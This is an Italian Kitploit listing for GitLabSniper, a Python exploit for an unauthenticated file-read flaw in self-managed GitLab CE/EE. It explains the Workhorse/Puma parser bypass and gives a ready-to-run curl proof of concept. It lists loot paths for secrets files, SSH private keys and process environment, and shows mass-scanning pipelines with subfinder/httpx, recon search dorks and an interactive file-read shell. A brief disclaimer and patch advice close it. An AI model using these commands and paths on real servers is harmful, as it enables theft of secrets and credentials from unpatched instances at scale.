Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
GitLabSniper — Scanner ed exploit Python in un singolo file per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE self-managed, con enumerazione dei progetti, percorsi di loot e una shell interattiva. | Kitploit
Strumenti/GitHubGitHub/ynsmroztas/gitlabsniper
RicognizioneScanner di VulnerabilitàExploitScripting e AutomazioneSfruttamento di Applicazioni WebEsfiltrazione DatiRaccolta InformazioniSicurezza WebPenetration Testing
GitHubynsmroztas/gitlabsniper

GitLabSniper

Scanner ed exploit Python in un singolo file per CVE-2026-85706, una lettura arbitraria di file non autenticata in GitLab CE/EE self-managed, con enumerazione dei progetti, percorsi di loot e una shell interattiva.

216h 49m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

GitLabSniper — pipeline di lettura file non autenticata CVE-2026-85706

GitLabSniper

CVE-2026-85706 — lettura arbitraria di file non autenticata in GitLab CE/EE
rilevamento · enumerazione progetti pubblici · loot · shell interattiva · pipeline subfinder/httpx


Autore: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Sito:

ynsmroztas.github.io

Mail:
[email protected]

Da utilizzare solo su sistemi di tua proprietà o per i quali sei esplicitamente autorizzato a eseguire test (bug bounty / VDP / contratto scritto).


Cos'è

GitLabSniper.py è uno scanner/exploit Python in singolo file per CVE-2026-85706: una lettura di file locale non autenticata in GitLab Community Edition ed Enterprise Edition self-managed.

Non si ferma a "la versione sembra vulnerabile". Esegue il bypass del differenziale del parser di Workhorse, classifica la risposta di Rails e stampa FILE LEAK solo quando il body 400 contiene i byte del file all'interno di invalid %-encoding (...).

FasciaVersioni
Vulnerabili18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Corrette19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Fuori scopegitlab.com · GitLab Dedicated

Come funziona la vulnerabilità

Tre endpoint del repository si trovano dietro il requestBodyUploader di Workhorse:

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails prende il campo grezzo file.path ed esegue File.open prima di authenticate!. require_gitlab_workhorse! non è un vero gate qui: Workhorse appone già un JWT valido Gitlab-Workhorse-Api-Request su tutto ciò che proxa.

Workhorse dovrebbe riscrivere prima l'upload. La sua regex di routing corrisponde a EscapedPath() e a un clone path.Clean che non decodifica mai il percent-encoding. Puma decodifica invece %XX prima del routing di Grape.

root@kitploit:~
Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← anche lo slash finale sfugge
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     la regex vede "%63ommits" / "commits/"  → MISS  (nessuna riscrittura)
        │
        ▼
Puma          decodifica %63 → commits                 → ROUTES verso Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → PRIMA dell'auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              "%" isolato che non è %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<byte grezzi del file>)

file= vuoto soddisfa requires :file, WorkhorseFile (vuoto → nil). Il canale di leak è il ramo urlencoded. JSON/Oj non riflette i byte del file allo stesso modo — lo strumento invia sempre Content-Type=application/x-www-form-urlencoded.

//, /./, %2F e ; non bypassano: path.Clean normalizza i primi due e Puma rifiuta %2F.

L'id del progetto non è "da quale repo rubare i file". file.path è un percorso assoluto sul server. L'id è solo il pezzo di URL che raggiunge il controller vulnerabile.

EndpointRequisito sul progetto
files (%66iles)Spesso funziona qualsiasi id — File.open avviene prima dei controlli sul progetto
commits (%63ommits, commits/, commits.json)Serve un progetto su cui un utente anonimo possa fare read_code. Altrimenti 404 Project Not Found

Ecco perché lo strumento enumera GET /api/v4/projects e salta gli id gated.

Un leak confermato richiede questa sottostringa nel body:

root@kitploit:~
invalid %-encoding (

I file senza un % isolato possono comunque essere aperti (read-noecho / successivamente branch is required) ma non verranno riflessi. Quello è un oracolo, non un dump segnalabile.


Funzionalità

  • Fingerprint di GitLab (HTML / x-gitlab-* / sign-in) + range di versione quando visibile
  • Enumerazione progetti pubblici (GET /api/v4/projects)
  • Selezione automatica di un id di progetto non gated (fallback 1..7)
  • Matrice di bypass di Workhorse
    • %63ommits · %72epository · %66iles
    • slash finale / · .json
    • POST + PUT su files
  • Classificatore di risposta: leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute
  • Lista loot --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, chiavi ssh, environ)
  • Forma funzionante "sticky" dopo il primo leak
  • Shell interattiva (cat, loot, secrets, passwd, project <id>, curl)
  • Pipeline: host grezzi, httpx -sc -td -title, httpx -json, ANSI rimosso
  • Report JSON / JSONL (-o)
  • Banner HIT colorato + PoC curl pronto da incollare

Installazione

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Nessun'altra dipendenza.


Utilizzo

Host singolo

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Shell interattiva

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Pipeline (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin non è un TTY → --pipe è implicito
cat hosts.txt | python3 GitLabSniper.py --auto

Il parser accetta:

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • oggetti httpx -json (url / status_code)
  • host nudo e host:port
  • salta righe [0] / timeout / vuote

Flag

FlagSignificato
-u / -t / --targetURL base singolo
--pipeLegge i target da stdin
-f / --listFile di host
--fileUn percorso assoluto da leggere
--auto / --lootLista di file GitLab ad alto valore
--shellShell interattiva di lettura file
--project-idForza l'id del progetto (default: enum + fallback)
--max-projectsLimita gli id di enum/fallback (default 8)
--forceScansiona anche se il fingerprint è debole
--threadsWorker della pipeline (default 8)
--timeoutSecondi (default 15)
-ohits.json o hits.jsonl
-qSilenzioso
--no-bannerNessun banner

Codici di uscita: 0 leak · 1 solo oracolo / nessun leak in pipe · 2 nessun segnale utilizzabile.


Verdetti

TagSignificatoSegnalabile?
leakinvalid %-encoding ( + byte del fileSì — confermato
leak-fragmentRiflessione parzialeForse, allega il body
read-noecho401 / branch is required dopo l'apertura, nessun % nel fileSolo oracolo
missinglocal file not present — il bypass ha raggiunto il discoOracolo di esistenza
project-gate404 Project Not FoundProva un altro id pubblico
rewriteWorkhorse ha riscritto il body (Invalid json)Questa forma è morta
noroute404 sempliceCorretta o percorso errato
other500 / residuoEsegui il dump del body prima di dichiarare

Non aprire una segnalazione critica basandoti solo su read-noecho.


Percorsi loot predefiniti

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Impatto massimo quando vengono riflessi: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, password del DB).


PoC manuale (stessa richiesta che emette lo strumento)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Un'istanza vulnerabile restituisce un JSON simile a:

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

Su alcuni host %63ommits restituisce 401 e /repository/commits/ (con slash finale) è la forma che causa il leak. Lo strumento prova ogni variante.


Helper di ricognizione

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

Da abbinare a subfinder | httpx | GitLabSniper.py --pipe --auto.


Disclaimer

Questo repository è destinato a test di sicurezza autorizzati e validazione difensiva dopo la patch. Sei responsabile dello scope.

Se gestisci un'istanza GitLab self-managed nel range interessato: aggiorna subito a 19.1.8 / 19.2.6 / 19.3.2. Cerca negli access log richieste POST /api/v4/projects/*/repository/commits con un parametro di query file.path.


Crediti

Vulnerabilità segnalata da s3ntago tramite GitLab HackerOne.

Write-up e PoC originale su cui è costruito questo strumento:

https://github.com/guneykabel/cve-2026-85706

Grazie a guneykabel per aver pubblicato un classificatore chiaro (leak / missing / project-gate / rewrite) e la spiegazione del differenziale Workhorse ↔ Puma. GitLabSniper avvolge quel modello con enumerazione progetti, loot, shell e pipeline di ricognizione.

Advisory / patch GitLab: CE/EE 19.1.8, 19.2.6, 19.3.2.


Autore

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Mail — [email protected]
Scarica lo strumento